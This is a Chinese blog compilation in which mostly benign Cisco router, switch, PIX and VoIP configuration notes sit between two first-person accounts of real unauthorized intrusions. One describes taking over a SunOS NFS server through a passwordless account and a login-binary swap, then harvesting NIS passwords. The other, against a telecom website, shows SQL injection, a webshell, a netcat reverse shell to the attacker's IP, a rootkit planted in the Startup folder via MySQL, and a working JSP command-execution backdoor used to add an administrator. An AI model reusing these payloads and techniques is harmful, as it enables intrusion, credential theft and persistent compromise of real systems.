没用,所有的远程溢出都没用,只有一台机器开了Finger,结果还告诉我:你的地址已被记录在案 — 晕倒。

好吧,忽然,发现一台粉老粉老的东东,keep?
竟然是Sun OS 4.13,呵呵,拿来做留念的啊?
这台也是NFS服务器之一,showmount一下,竟然有两百多台机器nfs在这里。

服务开放:22,110,512,513,6000没了…

看来没希望啦?
老机有老机的应付方法,某些老系统可是存在一个却省账号 — sync的哦。
而且很多系统中这个账号都是没有passwd的!好吧,就这么办。

ssh连接,试探一下,OK!果然没有密码…可惜,也没有shell :_<
sync账号的却省shell当然就是sync了嘛!

好像还是没有用。
ssh不行,咱们rlogin再试试看…不行,还是不行…

进不去?那咱们就让他出来…
rsh -l sync keep \"/usr/openwin/bin/xterm -display xfocus.com:0\"

不行,好像是超时,再试,还是不行,看来是做了某些设置了…又失败。

快绝望了…呜呜呜…Quack哪,再给我多一点点…

忽然间,从眼泪中看到了灵光一闪!能X?那我当然也能X进去啦。

Ok,xdmcp,query,连接…失败…还是不行那…
这回真的绝望了…睡觉去。

========================================================================

一觉醒来,到别的机器上看看,X登录到了两台机器,忽然之间灵机一动 — 如果一台机器同时有几台机器Xdmcp的话,那X屏幕号就不是0了!而我的X一直设的:0!

改成:9,继续登录,几秒钟停顿之后,终于出现了激动人心的OpenWindow登录界面!激动呀!真的好激动!user:sync  pass:<null>,进去了!

几分钟之后,心情又从激动变成了空虚…
为什么上天对我如此的不公…那个弱智root,sync账号的xinitrc竟然有错误,我不但不能得到一个却省的xterm,而且能够运行的程序还只有两个 — xedit和文件管理器 — 没有一个shell,还是一切都等于0.

算了,这种情况也不是没有遇见过,至少sync还是和root同组的嘛,四处逛逛,要是它哪个文件权限设错,哪就,嘿嘿嘿嘿~~~

/.rhosts,读都不能读;/.xxxrc,都是只读;/…..没了
/etc,继续检查,发现hosts.allow,倒是我这个组可写,可惜修改了也没什么用…
/etc/passwd倒是可以看,可惜我不报多大希望crack它的…这边的密码强度我是早见识过 — 除非是8位以上的穷举…

看来是没办法了…无意之间,逛到了/usr,幸运之神再一次降临到了我的脚下,哈哈,/usr -rwxrwxr–!

算你倒霉,竟然/usr属于我这个组,而且同组可写!虽然bin我不能修改…
好吧,冒一次险,我mv /usr/bin!

没有shell真的好痛苦呀,我还得忍受奇慢无比的X……点一下鼠标它要10分钟才能反应过来 — 不愧是古董级得机器!

慢慢的,在文件管理其中执行了如下操作:
mv /usr/bin /usr/binn
mkdir /usr/bin
然后写了一个脚本,叫做sync,里面有一条命令,xterm什么的……嘿嘿嘿

哪边再登录一次… God!报错!/bin/login not found.
我竟然犯了那么危险的一个错误!
忘了这一点…好险,好吧,
mv /usr/bin/sync /usr/bin/login

再登录……终于,我这边的X缓慢的出现了一个term…松了一口气。
赶快把/usr/binn改回去,一面有人登录就麻烦了。

既然有了一个shell,后面就都简单了,从SunOS古老的漏洞中随便选几个出来,i am root!

既然是nis,su某用户就可以通行无阻啦!俺是良民嘛!

========================================================================
接下来的几天里,就是拿着良民证到处看看,最后选定一台HP-UX作为基地,用俺的独家利器得到了root,先备份回整个NIS数据库;然后让真正的NIS Server睡一会会儿觉,我就暂时替他看着,这一会儿嘛,当然会有很多用户到我这儿来报道啦,密码一个个等级好,差不多五六十个了。叫醒nis,我睡觉去了。

虽然只有五六十个普通用户,但是可是有500台各种平台的机器玩啊,俺又没那么黑,非要各个都是root.

重在学习嘛!

2005年07月27日

一、 基本路由器的检验命令

show version

show processes

show protocols

show mem

show ip route

show startup-config

show running-config

show flash

>show interfaces

二、 基本路由配置命令

进入:config terminal/memory/network

配置网络时常采用的命令:copy和load

1. 标识:hostname 标识名

2. 启动标识:banner 启动标识

3. 接口:interface 端口号

4. 密码:line 0 6

login

passwd 口令

enable password/secret 口令

5. 接口:

1)配置端口

interface 端口号

clock rate 时钟速率(64000)/* 在串口中配置 */

bandwidth 带宽(缺省56) /* 在串口中配置 */

media-type 介质类型 /* 在以太网口上 */

early-token release /* 在令牌环网口上 */

ring-speed 16 /* 在令牌环网口上 */

no shutdown

write memory

2)检验端口

show interfaces

show controllers

6. 配置环境

1) 引导方式

boot system flash IOS-filename

boot system tftp IOS-filename tftp-address

boot system rom

2) 配置Register值

config-register 0×2102

7. 查看邻居路由

show cdp interface

show cdp neighbors [detail]

show cdp entry routerA

8. IP Address 配置

Ip address 网络地址 掩码

Ip host 主机名 address

Ip name-server 服务器地址1 服务器地址2 。。。

Ip domain-lookup nsap

Show hosts

Ping 主机名/IP地址

Trace 主机名/IP地址

[page]
三、 IP 路由

1. 静态路由

ip routing

ip route 目标网络号 掩码 端口号 [permanent]

2. 缺省路由

ip default-network 网络号

3. 动态路由

1) RIP配置

Router rip

Network 网络号

Show ip route

Show ip protocol

Debug ip

2) OSPF 配置

Router ospf 进程号

Redistribute 其它路由协议

Network 端口网络 反掩码 area 区域号

Area 区域号 range 网络号 掩码

Area 区域号 default-cost 花销值

Ip ospf priority number

Ip ospf cost 花销值

Show ip ospf database

3) BGP 配置

Router bgp 自治域号

Redistribute 其它路由协议

Network 网络号 /* 自治域内 */

Aggregate-address 网络号 掩码 summary-only 汇总网络

Neighbor 相邻网络号 remote-as 自治域号 /* 自治域间的网络 */

四、 流量控制

1) 被动端口

passive interface 端口号

2) 缺省路由

ip default 网络号/端口网络

3) 静态路由

ip route 目标网络号 掩码 端口号

4)ACL过滤表

(全局上) access-list 访问号1 {permit|deny} 反掩码号 [ established]

access-list 访问号2 {permit|deny} IP/TCP协议 源网络 目的网络

操作符 参数

(端口上)access-group 访问号 in|out

distribute-list 访问号 in|out 端口号

4) Null 0 interface

Ip route address mask null 0

[page]
五、 广义网配置

1) PPP

Ppp pap sent-usename 封装

Ppp chap hostname

Ppp chap password

2)X.25

encapsulation x25 [dce]

x25 address

x25 map 协议地址 /*SVC */

x25 pvc pvc号 ip地址 x25地址 /*PVC */

ip switching

x25 route x.121地址 接口 x.121映射地址

2) FrameRelay

Frame-relay local-dlci IP网络号

Frame-relay map 协议地址

Frame-relay lmi-type ansi

2005年07月26日

作者:mecca_gs 

下面是一个Cisco 3640的VOIP配置,对方的结构是北京和汕头两地做VoIP,后接阿尔卡特的PBX。 这里面有很多值得注意的地方,与大家一起分享快乐!

北京一方的3640配置:
Beijing#sh run
Building configuration…

Current configuration:
!
version 12.0
service timestamps debug uptime(设定Debug跟踪日志显示其时间)
service timestamps log uptime(设定看Log时显示其时间)
no service password-encryption(口令不加密)
!
hostname Beijing(主机名)
!
enable secret 5 $1$R.66$z.BUjhNsJcIr8KCcS9uxG.
!
!
!
!
!
voice-card 1(定义语音卡1)
!
voice-card 3(定义语音卡3)
!
ip subnet-zero
no ip domain-lookup
!
isdn voice-call-failure 0
!
!
!
!
controller E1 1/0(配置 E1语音卡)
framing NO-CRC4
ds0-group 0 timeslots 1-15,17-31 type e&m-wink-start(定义语音卡的类型为E&M卡)
cas-custom 0
!
controller E1 3/0(配置 E1语音卡)
framing NO-CRC4
ds0-group 0 timeslots 1-15,17-31 type e&m-wink-start(定义语音卡的类型为E&M卡)
cas-custom 0
!
!
!
interface BRI0/0
no ip address
no ip directed-broadcast
shutdown
isdn guard-timer 0 on-expiry accept
!
interface FastEthernet0/0
no ip address
no ip directed-broadcast
shutdown
duplex auto
speed auto
!
interface Serial0/0
description "Link to MainLand_Shantou by NCIC lease line"
ip address 192.168.1.1 255.255.255.252
no ip directed-broadcast
no ip mroute-cache
no fair-queue
!
interface Serial0/1
no ip address
no ip directed-broadcast
shutdown
clockrate 2000000
!
ip classless
no ip http server
!
!
voice-port 1/0:0(配置模拟语音端口)
compand-type a-law
!
voice-port 3/0:0(配置模拟语音端口)
compand-type a-law
!
dial-peer voice 1 voip (定义拨号对等体到语音)
destination-pattern +445…(为拨号对等体分配电话号码,其中.为通配符)
session target ipv4:192.168.1.2(定义Voip路由,为对端的IP地址)
req-qos guaranteed-delay (语音数据流RVSP的保证,其中Guaranteed-dealy可用于保证整个网络的延时)
ip precedence 5(IP优先级,5为关键)
!
dial-peer voice 2 pots(定义拨号对等体到语音物理端口)
destination-pattern +3…(定义电话话码以3开头的)
port 1/0:0(定义语音端口)
!
dial-peer voice 3 pots(定义拨号对等体到语音物理端口)
destination-pattern +3…(定义电话话码以3开头的)
port 3/0:0(定义语音端口)
!
!
line con 0(设定登陆)
transport input none
line aux 0
line vty 0 4(允许用Telnet)
password cisco(口令为Cisco)
login
!
end

Beijing#

汕头一方的3640配置
Shantou#sh run
Building configuration…
Current configuration:
!
version 12.0
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Shantou
!
enable secret 5 $1$dB/c$tnrMU9IxFCJdix5ssHAdH/
!
!
!
!
!
voice-card 1
!
voice-card 2
!
ip subnet-zero
no ip domain-lookup
!
isdn voice-call-failure 0
!
!
!
!
controller E1 1/0
framing NO-CRC4
ds0-group 0 timeslots 1-15,17-31 type e&m-immediate-start
cas-custom 0
!
controller E1 2/0
framing N
ds0-group 0 timeslots 1-15,17-31 type e&m-immediate-start
cas-custom 0
!
!
!
interface BRI0/0
no ip address
no ip directed-broadcast
encapsulation ppp
isdn guard-timer 0 on-expiry accept
ppp multilink
!
interface FastEthernet0/0
no ip address
no ip directed-broadcast
shutdown
duplex auto
speed auto
!
interface Serial0/0
no ip address
no ip directed-broadcast
no ip mroute-cache
shutdown
no fair-queue
clockrate 2000000
!
interface Serial0/1
ip address 192.168.1.2 255.255.255.252
no ip directed-broadcast
!
ip classless
!
no ip http server
!
!
voice-port 1/0:0
compand-type a-law
!
voice-port 2/0:0
compand-type a-law
!
dial-peer voice 20 voip
destination-pattern +3…
session target ipv4:192.168.1.1
req-qos guaranteed-delay
ip precedence 5
!
dial-peer voice 10 pots
destination-pattern +448…
port 1/0:0
!
dial-peer voice 30 voip
destination-pattern +4…
session target ipv4:192.168.1.1
req-qos guaranteed-delay
ip precedence 5
!
dial-peer voice 40 pots
destination-pattern +449…
port 2/0:0
!
!
line con 0
transport input none
line aux 0
line vty 0 4
password cisco
login
!
end

Shantou#

作者:yuyeyo 

        最常用的对端口安全的理解就是可根据MAC地址来做对网络流量的控制和管理,比如MAC地址与具体的端口绑定,限制具体端口通过的MAC地址的数量,或者在具体的端口不允许某些MAC地址的帧流量通过。稍微引申下端口安全,就是可以根据802.1X来控制网络的访问流量。
首先谈一下MAC地址与端口绑定,以及根据MAC地址允许流量的配置。
1.MAC地址与端口绑定,当发现主机的MAC地址与交换机上指定的MAC地址不同时,交换机相应的端口将down掉。当给端口指定MAC地址时,端口模式必须为access或者Trunk状态。
3550-1#conf t
3550-1(config)#int f0/1
3550-1(config-if)#switchport mode access /指定端口模式。
3550-1(config-if)#switchport port-security mac-address 00-90-F5-10-79-C1 /配置MAC地址。
3550-1(config-if)#switchport port-security maximum 1 /限制此端口允许通过的MAC地址数为1。
3550-1(config-if)#switchport port-security violation shutdown /当发现与上述配置不符时,端口down掉。

2.通过MAC地址来限制端口流量,此配置允许一TRUNK口最多通过100个MAC地址,超过100时,但来自新的主机的数据帧将丢失。
3550-1#conf t
3550-1(config)#int f0/1
3550-1(config-if)#switchport trunk encapsulation dot1q
3550-1(config-if)#switchport mode trunk /配置端口模式为TRUNK。
3550-1(config-if)#switchport port-security maximum 100 /允许此端口通过的最大MAC地址数目为100。
3550-1(config-if)#switchport port-security violation protect /当主机MAC地址数目超过100时,交换机继续工作,但来自新的主机的数据帧将丢失。

上面的配置根据MAC地址来允许流量,下面的配置则是根据MAC地址来拒绝流量。

1.此配置在Catalyst交换机中只能对单播流量进行过滤,对于多播流量则无效。
3550-1#conf t
3550-1(config)#mac-address-table static 00-90-F5-10-79-C1 vlan 2 drop /在相应的Vlan丢弃流量。
3550-1#conf t
3550-1(config)#mac-address-table static 00-90-F5-10-79-C1 vlan 2 int f0/1 /在相应的接口丢弃流量。

最后说一下802.1X的相关概念和配置。
802.1X身份验证协议最初使用于无线网络,后来才在普通交换机和路由器等网络设备上使用。它可基于端口来对用户身份进行认证,即当用户的数据流量企图通过配置过802.1X协议的端口时,必须进行身份的验证,合法则允许其访问网络。这样的做的好处就是可以对内网的用户进行认证,并且简化配置,在一定的程度上可以取代Windows 的AD。
配置802.1X身份验证协议,首先得全局启用AAA认证,这个和在网络边界上使用AAA认证没有太多的区别,只不过认证的协议是802.1X;其次则需要在相应的接口上启用802.1X身份验证。(建议在所有的端口上启用802.1X身份验证,并且使用radius服务器来管理用户名和密码)
下面的配置AAA认证所使用的为本地的用户名和密码。
3550-1#conf t
3550-1(config)#aaa new-model /启用AAA认证。
3550-1(config)#aaa authentication dot1x default local /全局启用802.1X协议认证,并使用本地用户名与密码。
3550-1(config)#int range f0/1 -24
3550-1(config-if-range)#dot1x port-control auto /在所有的接口上启用802.1X身份验证。

后记
    通过MAC地址来控制网络的流量既可以通过上面的配置来实现,也可以通过访问控制列表来实现,比如在Cata3550上可通过700-799号的访问控制列表可实现MAC地址过滤。但是利用访问控制列表来控制流量比较麻烦,似乎用的也比较少,这里就不多介绍了。
通过MAC地址绑定虽然在一定程度上可保证内网安全,但效果并不是很好,建议使用802.1X身份验证协议。在可控性,可管理性上802.1X都是不错的选择。

2005年07月23日

Pix515E防火墙配置
pixfirewall>en
pixfirewall#conf ter
pixfirewal(config)#
pixfirewal (config)#interface ethernet0 auto 激活e0口
pixfirewal (config)#interface ethernet1 auto 激活e1 口
pixfirewal (config)#nameif ethernet0 outside security0 outside是指外部接口
pixfirewal (config)#nameif ethernet1 inside security100 inside是指内部接口
pixfirewal (config)#ip address inside 10.11.45.1 255.255.255.0 配置内网口IP地
pixfirewal (config)#ip address outside218.52.57.82 255.255.248.0 配置外网 口IP 地址
pixfirewal (config)#access-list 100 permit any any 建立访问控制列表 定义都能访问
pixfirewal (config)# access-group acl 100 in interface outside 在外部网络接口上绑定名称为100的访问控制列表。
pixfirewal (config)# nat (inside) 1 10.11.45.0 255.255.255.0 表示把所有网络地址为10.11.45.0,子网掩码为255.255.255.0的主机地址定义为1号NAT地址组
pixfirewal (config)# global (outside) 1 218.52.57.83-218.52.57.86 netmask 255.255.255.0 将上述nat命令所定的内部IP地址组转换成218.52.57.83-218.12.47.86的外部地址池中的外部IP地址
pixfirewal (config)#static (inside,outside) 218.12.47.86 192.168.0.2 将内网地址192.168.0.2 映射到218.12.47.86 这个外网地址上面
pixfirewal (config)#conduit permit tcp host 218.52.57.86 eq www any 建立一个通道允许外网访问此外网的www 也就是80 端口
pixfirewal (config)#route outside 0.0.0.0 0.0.0.0 218.52.57.81
pixfirewal (config)#telnet 192.168.0.2 255.255.255.0 inside 允许内网地192.168.0.2通过telnet 访问pix 外网是不予允许telnet 的
pixfirewal (config)#enable password ******** 进入特权模式密码
pixfirewal (config)#password ****** telnet 密码
pixfirewal (config)#conduit permit icmp any any 允许icmp 也就是ping 包通过
pixfirewal (config)# write memory
2621路由器配置
route> en
rouote# conf ter
route(conf)#int f0/0
route(conf –if)#ip add 10.11.45.2 255.255.255.0
route(conf-if)#no sh
route(conf-if)#ip nat outside
route(conf-if)#int f0/1
route(conf-if)#no sh
route(conf-if)#ip nat inside
route(conf-if)#inf f0/1.192 进入子接口
route(conf-subif)#encapsulation dot1q 2 配置封装类型和vlan 2为vlan的id号
route(conf-subif)ip add 192.168.0.1 255.255.255.0 配置ip地址
route(conf-if)#inf f0/1.172
route(conf-subif)#encapsulation dot1q 3
route(conf-subif)#ip add 172.16.0.1 255.255.255.0
默认情况下各vlan之间是能相互访问的
route(conf)#access-list 100 deny 192.168.0.0 0.0.0.255
定义只能192.168.0.0 访问自己网段
route(conf)#access-list 100 permit ip any any
允许其他网段时间相互访问
route(conf)#access 100 permit ip host 192.168.0.1 any
允许任何主机通过192.168.0.1访问外网
route(conf)#ip route 0.0.0.0 0.0.0.0 10.11.45.1
route(conf)#access-list 1 permit any
route(conf)#ip nat pool rjt 10.11.46.2 10.11.45.254 netmask 255.255.255.0
route(conf)#ip nat inside source list 1 pool rjt overload

route(conf)# ip nat inside source ststic 192.168.0.2 218.12.47.83 把内网地址映射到外网
route(conf)#copy run start

路由器交换机用户名.秘密设置
route(conf)#host name #####
route(conf)#password ******
route(conf)#enable password ******
路由器用telnet
route(conf)#line vty 0 4
#login
route(conf)#password ******
route(conf-if)#ip add 192.168.1.1 255.255.255.0 se********* 为路由器某一端口配置第二个ip地址
路由器信息无法保存
conf-register 0×2102
end
write
reload
2950 交换机配置
switch> en 进入特权模式
switch# conf ter 进入配置模式
switch(conf)#interface vlan 1
switch(conf)#ip add 192.168.100.1 255.255.255.0 配置交换机ip地址
switch(vlan)# vlan datebase 进入vlan配置模式
switch(vlan)#vtp domain domain name
建立vtp域
switch(vlan)#vtp server 定义vtp类型
switch(vlan)#vlan vlan-id vlan-name 建立vlan并命名
switch(vlan)#exit
switch(conf)#interface switch-interface 进入端口配置模式
switch(conf-if)#switchport mode access 定义端口类型
switch(conf-if)#switchport access vlan vlan-id 将端口加入到vlan 中
switch(conf-if)#interface switch-interface
switch(conf-if)#switchport mode mode 配置trunk 模式
switch(conf)#enable password ******
交换机配置telnet
switch(conf)#line vty 0 4 启用远程终端
#login
switch(conf)#password ******

渗透XX电信 取得最高权限
文章作者:Andyower
在半年前,曾经入侵过**电信,当时只是留下了一个webshell就跑了,最近上来看,没了。只能重新动手了,再次郁闷中。
打开http://www.****le.com。**电信网站,随便打开个新闻
http://www.****le.com/newsxp/ReadNews.asp?NewsID=343&BigClassName=新闻中心&SmallClassName=省内新闻&SpecialID=0
尝试在后面加个’,
http://www.****le.com/newsxp/ReadNews.asp?NewsID=343&BigClassName=新闻中心&SmallClassName=省内新闻&SpecialID=0′
再次再次郁闷,过滤了,返回正常页面,再次提交
http://www.****le.com/newsxp/ReadNews.asp?NewsID=343&BigClassName=新闻中心&SmallClassName=省内新闻&SpecialID=0 and 1=2

还是返回正常页面….
等等,这个链接好面熟,小生似乎在哪见过…
因为本人对这些什么文章系统都不是很认识,而且记性非常非常的差…..(一跟烟的工夫)
终于,想起,以前也入侵过相同的文章系统,哈哈,那就好办了,把以前的方法搬出来。最记得的是,密码是明文的,对于现在来说,很难得了(现在知道是什么文章系统了,叫做惠信新闻管理系统)
http://www.****le.com/newsxp/ReadNews.asp?NewsID=343′&BigClassName=新闻中心&SmallClassName=省内新闻&SpecialID=0
(在NewsID这个变量没有过滤,嘿嘿,记得我在一年半前,根本没有NBSI,密码帐号都是自己手工猜的,辛苦,想想现在的人真幸福….)
哈哈,出现
HTTP 500.100 – 内部服务器错误 – ASP 错误
接着提交
http://www.****le.com/newsxp/ReadNews.asp?NewsID=343 and 1=1&BigClassName=新闻中心&SmallClassName=省内新闻&SpecialID=0
恩!正常页面!
再次提交
http://www.****le.com/newsxp/ReadNews.asp?NewsID=343 and 1=2&BigClassName=新闻中心&SmallClassName=省内新闻&SpecialID=0
HTTP 500.100 – 内部服务器错误 – ASP 错误
帅,有戏了。
不可能自己再次回到原始时代吧……
把链接改一下
原来的是
http://www.****le.com/newsxp/ReadNews.asp?NewsID=343&BigClassName=新闻中心&SmallClassName=省内新闻&SpecialID=0
改成
http://www.****le.com/newsxp/ReadNews.asp?BigClassName=新闻中心&SmallClassName=省内新闻&SpecialID=0&NewsID=343
把NewsID=343移到的最后面,方便NBSI自动破解密码
打开NBSI,让它自动跑吧
再抽跟烟,烟抽完了,密码也出来了^_^
[id]:13 [username]:order [passwd]:leader
嘿嘿,开始找后台了
尝试
http://www.****le.com/newsxp/admin
出现:
Directory Listing Denied
This Virtual Directory does not allow contents to be listed.
目录存在
提交:
http://www.****le.com/newsxp/admin/login.asp
哈哈,出来了,要我帐号密码
把NBSI猜测出的帐号密码添进去
进去了,第一件事情,上传个webshell
太熟悉了,找到
·上传管理·
其它图文上传
因为这里,在以前我试过,可以上传任何的文件,当然包括*.asp了
找了个webshell,提交
昏!

无法找到网页
管理员把这个上传页面删除了。可恶的卑鄙的管理员,比Vanishs还卑鄙的管理员…………
没办法,在管理界面,仔细看看
看见了 文件管理
不包任何的希望,点了一下,因为在以前,那个页面被删除了
虽然这样,但是还是要试一下的
这次又郁闷了..
既然开得开这个链接
http://www.****le.com/newsxp/webedit/index.asp
又跳出个登陆框,要我输入帐号密码
但是,在下面
既然有这个东西

管理员:master 密码:123
试一下
…….
好可爱的管理员啊…
这么容易就把我放进去….


管他,马上上传去,选择好webshell,点击上传文件
&&***%&$$#$#
出现
HTTP 500.100 – 内部服务器错误 – ASP 错误

返回管理页面看看,有个跳转,输入c:\
看看能不能直接当成webshell用,结果跳出
目录中有非法字符
没办法了,只能改它文件了,直接把一个asp改成webshell,因为有编辑功能
随便找和文件,我选择的是1.asp
然后复制,在最上面有个复制的按钮,就在那个剪刀的左面
然后,在左面,随便点开个目录,我点的是admin
然后点击那个剪刀右面的粘贴的图标…
一盆冷水泼了过来,出现
HTTP 500.100 – 内部服务器错误 – ASP 错误
难道说,目录不可写?

那我找可以写的目录
images目录绝对可以写,要不然,管理员怎么上穿那么多的图片在那
跳转到/admin/images/
再次粘贴
靠!
还是
HTTP 500.100 – 内部服务器错误 – ASP 错误
没办法只能真正改写文件了
找一个不用的文件,把webshell内容写进去,然后把名字改成1.asp
/include/计数器说明.txt
呵呵,这个文件应该不会用到了吧.
记住他的时间和里面的内容先
到时候好用工具改写回来
2004-2-23 19:26:00

OK!该名成功,改成了1.asp
看来,目录是可以写的,但是,应该程序的问题
文件管理系统应该有问题,要不然,不会出现复制文件出错的.
好,现在把webshlll写进去
哈哈,写进去了,看看能不能执行
http://www.****le.com/include/1.asp
结果….
直接跳转回
http://www.****le.com/
靠!
什么玩意啊!
难道说,这个目录又不能访问?
不可能吧!
尝试同目录下的
http://www.****le.com/include/index1×1.gif
晕!可以正常显示!
难道说被杀毒软件给杀了吗?还是被杀毒软件隔离了?
不可能啊.我再次刷新,然后编辑1.asp,还是可以用的
那是什么回事?
把1.asp里面的内容改成"Andyower"看看
提交
http://www.****le.com/include/1.asp
显示
Andyower
无语了…
够绝!可恶的卑鄙的管理员,比Vanishs还卑鄙的管理员……
骂完了,舒服多了:)我发现这种发泄方式不错,哈哈,看黑防学到的.
试一下那些小木马,我就拿了冰狐浪子微型ASP后门客户端2.0测试版
把代码写进去,然后,连接!
嘿嘿!所有信息都出来了.
看来是可以运行的,好的,换个功能强大点的小木马,砍刀的.
我翻我翻翻翻!直接就看见了海洋
试一下能不能用,编辑原来的1.asp,把海洋直接粘贴进去,保存
http://www.****le.com/include/1.asp
既然可以用!
晕!难道说,ASP站长助手6.0已经被列入病毒行列了?
可怜…..
运行cmd功能看看!
netstat -an
出来了好多!没有开21,也没有开3389
看来不能用SERV-U提升权限了
还开了53端口,恐怖…..
8080开了,难道被人先入侵了?弄成了肉鸡?(后来才知道,原来是安装了resin,java开的)
翻翻他的其他盘看看,有什么可以利用的吗
发现Mysql,马上上传个php木马,试一下,能不能用默认的root登陆Mysql
又一次的失望,服务器没有装php解析器,想想,应该asp也可以直接连接MySql的吧.
google上搜索,终于发现了2篇这样的文章,因为本人很菜,所以没有成功,希望知道者可以告诉Andyower 是为什么,篇幅问题,就不列出来了.
这时,又想到,反弹一个shell,然后通过mysql.exe直接连接,能不能用root连接(3306端口已经被过滤)。
上传nc.exe 到
d:\**teleweb\include\nc.exe
在本机
nc -vv -l -p 80
在海洋的cmd里运行
d:\**teleweb\include\nc.exe -e cmd.exe -e cmd MyIp 80
一会儿,我的nc有反应了
好,开始动工
cd d:\mysql\bin
mysql.exe -u root test

运行了,结果,shell死掉了,心痛啊!本来以为这个shell不会像溢出得到的shell一样软弱的,结果,它还是光荣的倒下了.
此路不通!
再翻翻,又让我看见了个好东西
resin,是用来运行jsp的,嘿嘿!
有戏了,因为他装了Mysql,应该就是用jsp来操作的!
刚刚翻了很久,都不见有jsp文件的存在,再翻下去会累死人的!
在cmd那
dir /s d:\*.jsp
看他还不来!果真!出来了,在d:\**teleweb\question 目录!
慢慢找!说不定让我找到Mysql的密码哈哈!
可是.找了很久,连个密码的影子都不见,算了,不找了,我直接操作数据库!
找到
d:\**teleweb\question\check.jsp文件
找到关键代码
把其他不重要的,都删除.
我就留下
<%@page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" import="java.util.*" import="java.io.*" import="news.ggExchange.*"%>
<jsp:useBean id="sdteledb" scope="application" class="sdteledb.sdteledb" />
<%sdteledb.setConnection();%>
<%
String sql2 = "select * from userinfo";
ResultSet rset2=sdteledb.executeQuery(sql2);
sdteledb.closeConn();
%>
然后保存成hk.jsp
以后就可以直接在 String sql2 = "";
马上在里面写Sql代码
String sql2 = "select id from userinfo into outfile ‘d:\**teleweb\question\1.txt’";
看看能不能成功
http://www.****le.com/question/hk.jsp
晕!
错误!!

500 Servlet Exception
大哥,怎么会这样的!
翻出以前的书查查看,angel是这样写的!
select * from table into outfile ‘c:/file.txt’
看清楚了,原来是反斜杠的问题!难怪啊!以前在入侵其他的php网站的时候,我从来都没有成功的into outfile过,当时我心里就一直在骂angel,上辈子一定是卖狗皮膏药的…..
现在发现是自己错了,都怪自己粗心,在这里,诚心的像angel道歉,angel对不起啦,错怪你了,原来你上辈子不是卖狗皮膏药的^_^
好,把原来的代码改过来
就直接用
select * from table into outfile ‘c:/file.txt’吧
运行
http://www.****le.com/question/hk.jsp

返回空白!马上到c盘看看
file.txt乖乖的躺在那呢,安全第一,删除!
现在该看看哪个管理员经常登陆了
net user 回车
sdweb 上次登录           2005/1/14 下午 04:21
这个管理员看来还有点勤快,就他了

嘿嘿!

ok!我马上弄个ntrootkit上去,让管理员一上线,就马上运行了.先用海洋把配置好的ntrootkit,上传到他的d:\resin目录
然后呢!
<%@page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" import="java.util.*" import="java.io.*" import="news.ggExchange.*"%>
<jsp:useBean id="sdteledb" scope="application" class="sdteledb.sdteledb" />
<%sdteledb.setConnection();%>
<%
String sql2 = "CREATE TABLE shell ( shell TEXT NOT NULL );";
sdteledb.executeQuery(sql2);
sql2 = "INSERT INTO shell ( shell ) VALUES (‘d:\\\\resin\\\\ntrootkit.exe’);";
sdteledb.executeQuery(sql2);
sql2 = "SELECT * FROM shell into outfile ‘SELECT * FROM shell into outfile ‘C:\Documents and Settings\sdweb\ 「开始」菜单 \程序\启动\shell.bat’;";
sdteledb.executeQuery(sql2);
sql2 = "drop TABLE shell;";
sdteledb.executeQuery(sql2);
sdteledb.closeConn();
%>


关于sql2 = "INSERT INTO shell ( shell ) VALUES (‘d:\\\\resin\\\\ntrootkit.exe’);";
这里,为什么要在路径那加4个"\"的问题,我刚刚开始的时候,测试过了,加1个到3个,都不能正确插入"d:\resin\ntrootkit.exe"到表里,而按照我写的,shell.bat里面的内容是
d:\\resin\\ntrootkit.exe

虽然多了一个"\",但是还是可以正确运行的.
剩下的时间,就是等待了,等待管理员的重新启动再登陆.
这个时候,无聊中,想起lcx大哥和pinkeyes大哥写的一篇文章,他们在Linux下直接用个jsp木马就可以得到root,不知道在windows下是不是也可以呢,如果可以的话,那可以就不用等待了!马上,翻出jsp的木马.
编辑d:\**teleweb\question\hk.jsp
把下面的代码写进去
<%@ page import="java.io.*" %>
<%
  try {
        String cmd = request.getParameter("cmd");
        Process child = Runtime.getRuntime().exec(cmd);
        InputStream in = child.getInputStream();
        int c;
        while ((c = in.read()) != -1) {
          out.print((char)c);
        }
        in.close();
        try {
          child.waitFor();
        } catch (InterruptedException e) {
          e.printStackTrace();
        }
    } catch (IOException e) {
        System.err.println(e);
    }
%>

提交
http://www.****le.com/question/hk.jsp?cmd=net%20user%20Andyower%201111%20/add
图5


再提交
http://www.****le.com/question/hk.jsp?cmd=net%20LOCALGROUP%20Administrators%20Andyower%20/add

成功!
在海洋的cmd里
net user Andyower
看看


看见没有?
admin权限的啊!
真想不到jsp在windows下也是用那么高的权限运行的!
文章到这就结束了,后面的事情就简单了.也不想进一步的入侵了.毕竟,我可不想被抓去坐牢,我还年轻^=^
后记:翻文件的时候,我看见了**电信的论坛是动网的,而且数据库默认没改,虽然论坛不能正常进入,但是还是可以下载数据库.新闻系统的默认数据库也没有改.



补:这也是以前写的东西了,哎。。。技术不行……就一直保留着到了现在.
本来是有图片的,但是没有地方放,就只能算了…